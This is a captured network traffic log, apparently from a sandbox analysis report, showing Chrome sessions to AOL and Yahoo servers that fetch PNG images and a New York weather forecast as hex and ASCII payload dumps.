2024-05-23 22:34:45 UTC	813	IN	HTTP/1.1 200 OK x-amz-id-2: OdWDsbPOGJtI8+iSm/dkCai7eM8fyPqYWJQgXU1iS6SGAJhE0bJc783gbHMtKVWIa5Dfdo5lG8M= x-amz-request-id: 1TEPG4KMRQR0N6PS Date: Wed, 01 May 2024 09:10:05 GMT Last-Modified: Sat, 02 Mar 2019 01:45:46 GMT ETag: "99f89d94ebcff9a04ef4c4174c7bc13a" x-amz-server-side-encryption: AES256 Cache-Control: max-age=2592000 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 3328 Referrer-Policy: no-referrer-when-downgrade Age: 1949081 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 08 06 00 00 00 e2 98 77 38 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 0c ba 49 44 41 54 78 01 ed 9d 0f 6c 55 57 1d c7 e9 2b b4 05 14 0a 71 09 a9 53 08 82 1b 93 b1 c1 60 65 73 42 eb d4 0d 88 d9 82 06 17 21 40 5b 68 67 dc a6 4e 63 30 73 6e 09 c3 69 44 e7 8c 9a 94 42 91 02 71 41 83 31 0a 1b e2 06 85 39 fe 0d 37 e6 74 8c ff 42 05 06 5b 0b 6c 5d ff 40 1f 7e 7e b5 ef ed be c7 bb f7 dc 73 df 79 f7 4f e5 24 b7 f7 de 73 7e e7 f7 e7 fb 3b ff cf b9 af 79 7d 22 18 6a 6b 6b af 47 ed 25 79 79 79 93 2f 5f be dc c9 73 23 d7 f7 6a 6a 6a 4e 45 cd 9c bc a8 29 5c 57 57 f7 99 78 3c be 09 bd fb 5b 75 c7 19 cd b1 58 ac 74 c1 82 05 87 ac f1 61 7f 8e 85 5d 41 ab 7e eb d6 ad cb a7 c4 d7 13 97 02 be d0 10 3f Data Ascii: PNGIHDR``w8sRGBIDATxlUW+qS`esB!@[hgNc0sniDBqA197tB[l]@~~syO$s~;y}"jkkG%yyy/_s#jjjNE)\WWx<[uXta]A~?
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: d6 a9 6a 19 fd b4 e9 e8 65 9a d6 37 07 a0 b8 ea 68 79 b7 6d 00 fe 1a 27 0c 38 5f 55 95 93 55 54 d3 00 66 cb cf 37 07 00 6c 09 25 4f a5 ef 11 16 b8 6e cf 66 75 51 25 20 6c e9 be f5 01 80 3f 50 65 3c 4e fa ce ff 13 f8 82 87 6f 0e 50 81 2f e9 85 85 85 db dc d0 f5 26 9a 30 39 20 ce c6 4a a0 1d 62 10 8e 0d 93 03 44 97 09 41 80 10 a4 4c df 1c 40 fb ae 5c ec 82 66 31 7d 45 20 0b 84 41 39 c1 37 07 60 a0 f2 2b 76 c0 2f 63 e7 a9 5e 76 be 82 02 c4 6f b9 c9 61 28 5b 8a fd 18 7f 8f 05 84 4f a1 44 bf 84 22 2c 54 c5 29 99 07 d9 ea 7b 25 9b 49 0b 3c 8e c1 3b c1 d6 f6 0e cd 7c 26 6d 33 d0 67 3b 79 64 22 e6 b8 b9 92 81 91 9c 4e 7b 1b b5 cf 90 77 5f 10 1b 2e b2 c9 74 f2 e4 c9 9b b0 45 e6 3e c9 0d 24 de 2f f1 be 1f 2c f7 25 96 bf bb ab 3b a5 4e 7e 73 61 15 97 ed 37 b6 18 73 Data Ascii: je7hym'8_UUTf7l%OnfuQ% l?Pe<NoP/&09 JbDAL@\f1}E A97`+v/c^voa([OD",T){%I<;\|&m3g;yd"N{w_.tE>$/,%;N~sa7s
2024-05-23 22:34:45 UTC	728	IN	Data Raw: 99 77 d1 b9 36 9a 90 93 e0 c1 ef 54 7f 8c 5a b7 1a 79 53 13 71 72 47 d6 33 d8 f7 35 ec 3b 67 8d d7 7d ce 6a 14 b4 66 cd 1a 29 ed b2 97 2a 1b e0 49 f0 45 09 de 27 b1 27 bb 5e 16 dd e4 dd 54 60 e2 b4 95 12 78 0b 00 6c 84 67 0b f7 66 ee 1b b8 df 62 1a 7c 6c 88 01 fe 6f d3 c1 17 5b 88 bb 8f 0d f7 2d 14 c0 8f c8 bb d7 90 02 9a 0e 93 b5 6b d7 0e 61 e5 51 4a a2 fc 8a 94 6d 00 98 39 00 b3 d6 96 20 c4 09 9c 9c bb 9b 53 16 cf 2a 54 94 26 ef 73 f4 3b 9e 56 54 3d d5 00 14 1b 0a f8 5b 55 e0 f7 28 7e b3 c2 80 d0 26 d3 a7 c9 f1 16 55 b8 81 42 b6 6d d5 aa 55 9e 66 fa 9e 1c 40 a9 a8 03 fc 71 2a cd 7a d2 3d 95 0c 97 bc 73 4a 86 8d 32 9c 55 06 e8 46 f1 81 a1 f4 13 da 2d 8a b6 03 64 b4 83 46 f2 73 95 ca 40 c9 e8 44 29 69 ab 23 19 e8 6b 9e 47 f1 f7 5c 2a 5f 4e cb 50 ee 92 36 Data Ascii: w6TZySqrG35;g}jf)IE''^T`xlgfb\|lo[-kaQJm9 ST&s;VT=[U(~&UBmUf@qz=sJ2UF-dFs@D)i#kG\_NP6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49832	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:44 UTC	613	OUT	GET /dv/static/siteApp/img/privacy-choice-control.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:45 UTC	747	IN	HTTP/1.1 200 OK x-amz-id-2: QieVo3NIug79RJ0wqAWaoI4nNdZhQcaRTM9xwK0X46S0rQaXADjdc9ghy6djQhcrnNJpng8u7NI= x-amz-request-id: PRK0A79MC755X0F9 Date: Thu, 23 May 2024 07:30:34 GMT Last-Modified: Thu, 17 Nov 2022 01:21:46 GMT ETag: "08e7e42d20a324381d05381b43bd496c" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 7324 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 54253 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 a2 00 00 00 52 08 06 00 00 00 d7 60 0f 02 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 04 f4 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 37 2e 31 2d 63 30 30 30 20 37 39 2e 65 64 61 32 62 33 66 61 63 2c 20 32 30 32 31 2f 31 31 2f 31 37 2d 31 37 3a 32 33 3a 31 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 Data Ascii: PNGIHDRR`pHYs%%IR$iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19 "> <rdf
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 78 3a 78 6d 70 6d 65 74 61 3e 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 72 22 3f 3e cf e9 a3 bb 00 00 17 4e 49 44 41 54 78 9c ed 9d 79 7c 54 e5 b9 c7 bf e7 9c 99 6c 33 93 84 6c 04 b2 12 f6 35 a0 48 ed d5 5a ab 9f aa 95 ba 5e 2a ea 6d 6f 17 6b ad 75 6b 6f dd 17 14 05 04 6a b5 ad 7a 6d 5d ae b7 b6 2e 88 4b af 16 ac 6c a2 2c 2a 8b 20 90 40 16 96 00 01 12 96 90 64 26 cb cc 59 ee 1f 6f 26 c9 4c 26 99 33 99 99 6c e4 fb f9 44 c3 39 ef 39 e7 9d 33 bf bc ef fb 3c ef f3 bc af 64 18 06 83 0c d2 db c8 bd 5d 81 41 06 01 b0 00 4c bd b5 ae b7 eb 91 04 8c 07 d2 81 64 20 0d 48 05 6c 80 04 0c 36 db e1 a3 00 4d 40 1d 70 1c 38 05 9c 06 f6 03 e5 bd 57 2d d8 fe 42 a2 10 62 2f 31 02 b8 04 98 00 9c 05 4c 44 08 72 b0 95 ee 39 9a 81 4a 60 33 50 0a 6c 00 3e 03 1a 7b ba 22 3d Data Ascii: x:xmpmeta> <?xpacket end="r"?>NIDATxy\|Tl3l5HZ^mokukojzm].Kl, @d&Yo&L&3lD993<d]ALd Hl6M@p8W-Bb/1LDr9J`3Pl>{"=
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: c2 9d cf bb 78 6f 83 87 91 c3 e5 48 5b fb c3 80 ff 42 c4 ab fa d0 99 10 7f 09 e4 b4 3f 20 49 a2 f9 1e 93 ad 30 e7 87 f1 11 ad 5d 6f 71 f8 84 ce 75 f3 5d 7c 5e ac 62 51 24 54 cd e0 86 0b 63 f8 db 7d e1 bb a1 b6 95 ab d8 e2 cc bb 6d 0e 1d d7 b9 74 ba 95 57 ef f6 0d 62 9a 94 a7 b0 7a b1 83 8b ee ad 67 cf 21 9d 71 11 10 a3 d5 02 25 87 75 b2 d3 65 fe f9 84 9d 61 29 6d 4d 9f 23 1e 5e bd db 46 43 b3 8b 35 db 3d 64 a7 85 36 b4 30 c1 1d 08 03 b8 a9 fd c1 ce 5e f7 2f fd 0f 48 40 75 8d ce ed 57 c6 92 e2 e8 ff c3 ef c6 66 b8 7a ae 93 2d a5 2a d3 46 29 4c 1e 21 33 a5 40 e1 cd e5 cd 3c f4 6a 78 49 6c 55 a7 0d b6 ed d5 4c bf 27 dd 10 61 72 3f ba 38 26 e0 f9 a1 43 24 56 2f 76 90 9b 2e b3 e7 90 1e 56 37 6d b5 08 43 33 2b 45 66 d5 22 5f 11 b6 e7 c6 8b 62 d0 74 d0 22 ef ff Data Ascii: xoH[B? I0]oqu]\|^bQ$Tc}mtWbzg!q%uea)mM#^FC5=d60^/H@uWfz-*F)L!3@<jxIlUL'ar?8&C$V/v.V7mC3+Ef"_bt"
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: b4 d1 62 3e bc 17 a2 c8 e3 10 f3 cf ad 42 4c 43 ac d6 ea 83 b3 d1 60 44 a6 dc a5 07 be 2f 32 ef 8d 26 5e 5c de cc e4 11 1d 03 0e ac 16 28 3d ac 53 38 42 61 c9 43 41 97 e8 31 4d 45 b5 ce 9e 83 5a 58 16 b7 3f 5e 83 a1 b0 40 e1 3d 93 62 1c 93 2d 33 2e 27 78 93 7c c3 82 96 96 b0 e5 1d f5 62 26 c3 50 68 13 62 0a 30 c4 bf 84 47 25 2c c7 6e 6f f0 bf 2b dc 3c fa 5a 23 e3 72 94 0e 09 ed de 74 d7 d4 44 89 77 e7 d8 23 ea 17 fd a2 58 6d 75 01 45 12 6f 4b e5 1d 33 9a 11 63 30 ae 5f e0 62 c9 a7 6e a6 8e ec 95 ee d8 9f 44 68 13 e2 70 5a 94 d9 1e 4d 07 5b 14 9c d8 6f ad 75 73 c5 1c 27 17 de 53 cf 6f 5f 6c e4 e8 a9 c8 bc 89 95 5f 79 f8 d5 73 0d e4 0f 95 49 88 f5 5d d6 4e 51 a0 aa c6 40 d3 60 e9 c3 36 72 33 22 db ca 6f 29 13 fd 7f 34 fe 6c 5b c7 8c 23 84 18 cd 8c 19 3b e3 Data Ascii: b>BLC`D/2&^\(=S8BaCA1MEZX?^@=b-3.'x\|b&Phb0G%,no+<Z#rtDw#XmuEoK3c0_bnDhpZM[ous'So_l_ysI]NQ@`6r3"o)4l[#;
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 9a f3 7a 26 9a 7c fb 5e 8d a3 a7 f4 88 8f 0f 85 a1 a5 33 3e 57 e6 e3 85 76 e2 4d 24 4e 5e 31 c7 c9 f2 4d 1e 0a 0b 14 0a 0b 14 56 6f 33 27 c6 24 9b 30 60 26 f6 8e 18 d7 23 7a 63 1f 21 ee 23 c0 ba c7 49 09 12 7b 8f e8 d4 37 44 c7 37 91 e2 90 58 f6 b8 c8 2a 2b 3d 1c a0 9b 56 21 3f 43 e6 60 95 4e 45 95 4e 4e 9a d4 c1 57 08 50 74 40 e3 de eb e2 b8 fd ca 9e 4b 77 dd 50 a4 e2 d1 8c 88 1a 43 de 96 70 6c 8e cc 9a 45 0e 92 4d 38 c9 af 98 e3 e4 a3 cd 42 84 ba 26 7c bf 53 0a 14 56 6d f3 70 cd 63 ce a0 d7 7b c5 38 29 5f a1 f8 60 8f 8a b1 c8 fb 8b ff 10 7b b3 7f c9 c4 04 89 d2 4a 8d f5 45 11 5a eb 22 00 39 19 22 9c 3d 23 59 a6 ac 13 6b 7a 88 43 4c dd 05 f2 15 ee dc af 71 c3 45 31 2c 0c c1 c1 1b 09 be de ab 31 c4 1e b9 65 39 ac 8a 68 09 c7 79 45 68 66 4c 38 df c5 b2 2f Data Ascii: z&\|^3>WvM$N^1MVo3'$0`&#zc!#I{7D7X*+=V!?C`NENNWPt@KwPCplEM8B&\|SVmpc{8)_`{JEZ"9"=#YkzCLqE1,1e9hyEhfL8/
2024-05-23 22:34:45 UTC	824	IN	Data Raw: a4 c6 d9 c7 32 71 a2 44 a3 db e0 eb 7d 1a a9 89 d1 cb d6 1b a0 1c 00 7e dd 55 01 33 fd cb 7f 23 8c 17 1f 3c 9a 08 d3 2a a9 d4 b8 fa 31 67 b4 d6 5a ee 53 ec dc af 51 56 a9 99 5a 67 70 10 1f 6e 06 ba 9c 0d 31 3b d0 f9 05 01 52 09 3c 2a 4c cc 53 d8 54 a2 f1 9d 7b ea a9 75 0d ec 76 62 7d 91 d8 f2 36 5a d1 d8 03 94 f9 c0 aa 60 85 cc be d2 93 c0 75 81 4e a8 1a 4c cc 93 f9 aa 5c 63 c6 9d f5 ec 39 34 70 9b c6 6d e5 1a 71 31 83 dd 72 08 ac 04 1e 36 53 30 94 bf ed 35 c0 0f 02 9d 50 35 98 90 2b 73 b2 4e e7 9b 77 d5 f3 e2 f2 e8 cf 49 f7 34 87 4f e8 6c 2d 8d 4e 34 f6 00 65 0b 70 99 d9 c2 a1 76 32 ef 00 3f 0e 74 c2 a3 89 99 97 d4 44 89 5b fe e0 e2 8a 39 4e 0e 04 48 7c ea af 6c 2d d3 42 da 3b e5 0c a7 08 f8 16 60 5a 00 dd 19 ed bc 46 27 62 54 35 91 07 31 6d b4 c2 a7 3b Data Ascii: 2qD}~U3#<1gZSQVZgpn1;R<LST{uvb}6Z`uNL\c94pmq1r6S05P5+sNwI4Ol-N4epv2?tD[9NH\|l-B;`ZF'bT51m;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49829	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:44 UTC	1365	OUT	POST /nex/modules/weather/v1?isXHR=true&m_mode=json HTTP/1.1 Host: www.aol.com Connection: keep-alive Content-Length: 20 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" tracestate: 2526950@nr=0-1-3101648-714787285-74098f55ff4666fb----1716503683677 traceparent: 00-50670a83c967e5add7e4c4eac3808410-74098f55ff4666fb-01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 newrelic: eyJ2IjpbMCwxXSwiZCI6eyJ0eSI6IkJyb3dzZXIiLCJhYyI6IjMxMDE2NDgiLCJhcCI6IjcxNDc4NzI4NSIsImlkIjoiNzQwOThmNTVmZjQ2NjZmYiIsInRyIjoiNTA2NzBhODNjOTY3ZTVhZGQ3ZTRjNGVhYzM4MDg0MTAiLCJ0aSI6MTcxNjUwMzY4MzY3NywidGsiOiIyNTI2OTUwIn19 content-type: application/json sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-05-23 22:34:44 UTC	20	OUT	Data Raw: 7b 22 77 6f 65 69 64 22 3a 22 31 32 37 36 31 34 30 34 22 7d Data Ascii: {"woeid":"12761404"}
2024-05-23 22:34:45 UTC	951	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:45 GMT Content-Type: application/json; charset=utf-8 X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 X-Download-Options: noopen Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept x-cached-cookies: weathergeo set-cookie: weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; Domain=.aol.com; Path=/; Expires=Fri, 23 May 2025 22:34:45 GMT Status-Code: 200 X-App-Version: 70.0.0 X-Applet-Version: 1 Vary: Accept-Encoding Age: 0 Server: ATS Referrer-Policy: no-referrer-when-downgrade Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:45 UTC	454	IN	Data Raw: 31 31 64 30 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 6f 6f 6b 69 65 73 22 3a 5b 7b 22 76 61 6c 75 65 22 3a 7b 22 6c 61 74 22 3a 34 30 2e 37 34 38 31 31 32 2c 22 6c 6f 6e 67 22 3a 2d 37 33 2e 39 38 34 38 39 34 2c 22 6c 6f 63 61 6c 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 61 64 6d 69 6e 44 69 73 74 72 69 63 74 22 3a 22 4e 59 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 7a 69 70 22 3a 22 30 22 2c 22 77 6f 65 69 64 22 3a 31 32 37 36 31 34 30 34 7d 7d 5d 7d 2c 22 72 65 73 70 6f 6e 73 65 22 3a 7b 22 69 73 41 63 63 75 57 65 61 74 68 65 72 22 3a 74 72 75 65 2c 22 70 72 6f 76 69 64 65 72 22 3a 22 41 43 43 55 57 45 41 54 48 45 52 22 2c 22 77 65 61 74 68 65 72 22 3a 7b 22 63 75 72 Data Ascii: 11d0{"data":{"metadata":{"cookies":[{"value":{"lat":40.748112,"long":-73.984894,"locality":"New York","adminDistrict":"NY","country":"United States","zip":"0","woeid":12761404}}]},"response":{"isAccuWeather":true,"provider":"ACCUWEATHER","weather":{"cur
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 22 3a 32 38 7d 2c 22 64 61 69 6c 79 22 3a 5b 7b 22 64 61 79 22 3a 22 54 6f 64 61 79 22 2c 22 64 61 74 65 22 3a 31 37 31 36 34 33 36 38 30 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 68 75 6e 64 65 72 73 74 6f 72 6d 73 22 2c 22 69 63 6f 6e 5f 63 6f 64 65 22 3a 34 2c 22 6d 61 78 5f 74 65 6d 70 22 3a 38 32 2c 22 6d 69 6e 5f 74 65 6d 70 22 3a 36 36 2c 22 70 6f 70 22 3a 35 37 2c 22 73 75 6e 72 69 73 65 22 3a 31 39 38 36 30 2c 22 73 75 6e 73 65 74 22 3a 37 32 38 34 30 7d 2c 7b 22 64 61 79 22 3a 31 37 31 36 35 32 33 32 30 30 2c 22 64 61 74 65 22 3a 31 37 31 36 35 32 33 32 30 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4d 6f 73 74 6c 79 20 53 75 6e 6e 79 22 2c 22 69 63 6f 6e 5f 63 6f 64 65 22 3a 33 34 2c 22 6d 61 78 5f 74 65 6d 70 22 3a 38 36 2c Data Ascii: ":28},"daily":[{"day":"Today","date":1716436800,"description":"Thunderstorms","icon_code":4,"max_temp":82,"min_temp":66,"pop":57,"sunrise":19860,"sunset":72840},{"day":1716523200,"date":1716523200,"description":"Mostly Sunny","icon_code":34,"max_temp":86,
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 6d 70 22 3a 36 31 2c 22 70 6f 70 22 3a 30 2c 22 73 75 6e 72 69 73 65 22 3a 31 39 36 32 30 2c 22 73 75 6e 73 65 74 22 3a 37 33 32 36 30 7d 2c 7b 22 64 61 79 22 3a 31 37 31 37 32 31 34 34 30 30 2c 22 64 61 74 65 22 3a 31 37 31 37 32 31 34 34 30 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 68 6f 77 65 72 73 22 2c 22 69 63 6f 6e 5f 63 6f 64 65 22 3a 31 31 2c 22 6d 61 78 5f 74 65 6d 70 22 3a 37 38 2c 22 6d 69 6e 5f 74 65 6d 70 22 3a 36 33 2c 22 70 6f 70 22 3a 36 34 2c 22 73 75 6e 72 69 73 65 22 3a 31 39 35 36 30 2c 22 73 75 6e 73 65 74 22 3a 37 33 33 32 30 7d 5d 2c 22 68 6f 75 72 6c 79 22 3a 5b 7b 22 74 69 6d 65 22 3a 31 37 31 36 35 30 35 32 30 30 2c 22 70 6f 70 22 3a 35 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 52 61 69 6e 22 2c 22 69 63 6f Data Ascii: mp":61,"pop":0,"sunrise":19620,"sunset":73260},{"day":1717214400,"date":1717214400,"description":"Showers","icon_code":11,"max_temp":78,"min_temp":63,"pop":64,"sunrise":19560,"sunset":73320}],"hourly":[{"time":1716505200,"pop":51,"description":"Rain","ico
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 70 6f 70 22 3a 35 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 50 61 72 74 6c 79 20 43 6c 6f 75 64 79 22 2c 22 69 63 6f 6e 5f 63 6f 64 65 22 3a 33 30 2c 22 74 65 6d 70 65 72 61 74 75 72 65 22 3a 36 38 7d 2c 7b 22 74 69 6d 65 22 3a 31 37 31 36 35 35 32 30 30 30 2c 22 70 6f 70 22 3a 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4d 6f 73 74 6c 79 20 53 75 6e 6e 79 22 2c 22 69 63 6f 6e 5f 63 6f 64 65 22 3a 33 34 2c 22 74 65 6d 70 65 72 61 74 75 72 65 22 3a 37 30 7d 2c 7b 22 74 69 6d 65 22 3a 31 37 31 36 35 35 35 36 30 30 2c 22 70 6f 70 22 3a 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4d 6f 73 74 6c 79 20 53 75 6e 6e 79 22 2c 22 69 63 6f 6e 5f 63 6f 64 65 22 3a 33 34 2c 22 74 65 6d 70 65 72 61 74 75 72 65 22 3a 37 32 7d 2c 7b 22 74 69 6d 65 22 Data Ascii: pop":5,"description":"Partly Cloudy","icon_code":30,"temperature":68},{"time":1716552000,"pop":0,"description":"Mostly Sunny","icon_code":34,"temperature":70},{"time":1716555600,"pop":0,"description":"Mostly Sunny","icon_code":34,"temperature":72},{"time"
2024-05-23 22:34:45 UTC	219	IN	Data Raw: 74 79 31 5f 6e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 70 6f 73 74 61 6c 5f 74 6f 77 6e 5f 6e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 61 64 6d 69 6e 32 5f 6e 61 6d 65 22 3a 22 4d 61 6e 68 61 74 74 61 6e 22 2c 22 77 6f 65 69 64 5f 6e 61 6d 65 22 3a 22 31 30 31 31 38 22 2c 22 72 65 63 6f 72 64 5f 6b 65 79 22 3a 22 31 32 37 36 31 34 30 34 22 2c 22 74 69 6d 65 7a 6f 6e 65 5f 6e 61 6d 65 5f 61 62 62 72 65 76 69 61 74 69 6f 6e 22 3a 22 45 44 54 22 2c 22 75 74 63 5f 6f 66 66 73 65 74 5f 73 65 63 73 22 3a 2d 31 34 34 30 30 2c 22 69 73 5f 6c 6f 63 61 6c 22 3a 66 61 6c 73 65 7d 7d 7d 2c 22 68 74 6d 6c 22 3a 22 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: ty1_name":"New York","postal_town_name":"New York","admin2_name":"Manhattan","woeid_name":"10118","record_key":"12761404","timezone_name_abbreviation":"EDT","utc_offset_secs":-14400,"is_local":false}}},"html":""}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49833	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:45 UTC	1363	OUT	POST /nex/modules/news/v1/?m_mode=json&isXHR=true HTTP/1.1 Host: www.aol.com Connection: keep-alive Content-Length: 56 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" tracestate: 2526950@nr=0-1-3101648-714787285-da36ffdfdcf6aa71----1716503683963 traceparent: 00-8dd8ac73d35a99433d7b4c232281c710-da36ffdfdcf6aa71-01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 newrelic: eyJ2IjpbMCwxXSwiZCI6eyJ0eSI6IkJyb3dzZXIiLCJhYyI6IjMxMDE2NDgiLCJhcCI6IjcxNDc4NzI4NSIsImlkIjoiZGEzNmZmZGZkY2Y2YWE3MSIsInRyIjoiOGRkOGFjNzNkMzVhOTk0MzNkN2I0YzIzMjI4MWM3MTAiLCJ0aSI6MTcxNjUwMzY4Mzk2MywidGsiOiIyNTI2OTUwIn19 content-type: application/json sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-05-23 22:34:45 UTC	56	OUT	Data Raw: 7b 22 77 6f 65 69 64 22 3a 22 31 32 37 36 31 34 30 34 22 2c 22 72 65 6e 64 65 72 54 79 70 65 22 3a 22 77 65 61 74 68 65 72 5f 76 32 22 2c 22 73 6c 6f 74 22 3a 22 22 7d Data Ascii: {"woeid":"12761404","renderType":"weather_v2","slot":""}
